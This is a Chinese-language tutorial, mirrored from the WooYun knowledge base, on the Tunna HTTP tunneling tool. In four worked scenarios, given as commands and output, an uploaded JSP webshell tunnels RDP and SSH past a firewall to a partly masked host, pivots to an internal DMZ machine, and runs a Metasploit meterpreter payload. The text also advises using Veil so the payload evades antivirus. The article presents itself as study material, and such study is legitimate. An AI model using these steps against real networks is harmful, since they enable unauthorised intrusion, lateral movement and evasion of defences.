作者:
mickey
·
2013/09/28 22:56
原理:就是個HTTP tunneling工具
#!php
+-------------------------------------------+ +-------------------------------------------+
| Local Host | | Remote Host |
|-------------------------------------------| |-------------------------------------------|
| +----------+ +------------+ | +-------------+ | +------------+ +----------+ |
| |Client App|+----->|Local Proxy |<==========| Firewall |======>| Webshell |+------>|Server App| |
| +----------+ +------------+ | +-------------+ | +------------+ +----------+ |
+-------------------------------------------+ +------------------------------------------ +
可以看出該工具先使用proxy.py監聽本地一個埠,然後連線部署在遠端WEB的webshell,遠端的webshell會把埠轉發請求轉發到本地或者本地內網遠端的主機,從而實現HTTP tunneling.這對於內網入侵來說,是很有用的一個工具.
該工具看起來是不是有似曾相識的感覺,恩.其實和reduh原理是一樣的,不過tunna更穩定,速度更快.
下載地址是:http://www.secforce.com/media/tools/tunna_v0.1.zip
下面講解4個例項,就能掌握該工具使用方法了.
例項1:
網站對外只開放了80埠,其他的埠都是關閉的,透過CVE-2013-225得到JSP的WEBSHELL後,上傳conn.jsp,做轉發,實現連線本機的其他埠.
直接掃描發現3389是關閉的
[email protected]:~# nmap -sS -p3389 219.x.x.x
Starting Nmap 6.40 ( http://nmap.org ) at 2013-09-26 22:47 EDT
Nmap scan report for 219.x.x.x
Host is up (0.0088s latency).
PORT STATE SERVICE
3389/tcp close
透過webshell上傳conn.jsp到主機上,本地開始連線
python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v
引數含義如下:
-l 表示本地監聽的埠
-r 遠端要轉發的埠
-v 詳細模式
然後本地執行
rdesktop 127.0.0.1:1234
就可以連線到目標的3389了
例項2:
對於有些服務,比如SSH,還需要新增-s引數,才能保證連線的時候不會中斷.
python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 22 -v -s
ssh localhost -p 1234
例項3:
場景:已經得到DMZ區的一臺主機的JSPSHELL,該主機的內網IP是172.16.100.20,透過查點,發現DMZ區還有其他的主機(172.16.100.20),並且開放了3389,我們想利用HTTP tunneling,連線到172.16.100.20的3389,命令如下
python2.7 proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -a 172.16.100.20 -r 3389
這裡多了一個-a引數,意義是要轉發的IP
例項4:
對於喜歡metasploit的朋友,該工具也支援,不過如果對方有殺軟的話,建議先用veil做好meterpreter的免殺.
首先把tunna_exploit.rb複製到msf的modules/exploits/windows/misc目錄.
cp ~/tunna_exploit.rb /root/metasploit-framework/modules/exploits/windows/misc
然後開始利用
msf > use exploit/windows/misc/tunna_exploit
msf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(tunna_exploit) > set RHOST 1.3.3.7 <-- 注意這裡是指本地的公網IP
RHOST => 1.3.3.7
msf exploit(tunna_exploit) > set TARGETURI http://219.x.x.x:8080/conn.jsp
TARGETURI => http://219.x.x.x:8080/conn.jsp
msf exploit(tunna_exploit) > set VERBOSE true
VERBOSE => true
msf exploit(tunna_exploit) > exploit -j
tunna除了支援jsp還支援以下環境和指令碼
conn.jsp Tested on Apache Tomcat (windows + linux) conn.aspx Tested on IIS 6+8 (windows server 2003/2012) conn.php Tested on LAMP + XAMPP + IIS (windows + linux)
使用的時候需要注意:metasploit裡的指令碼只對應metasploit使用.
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!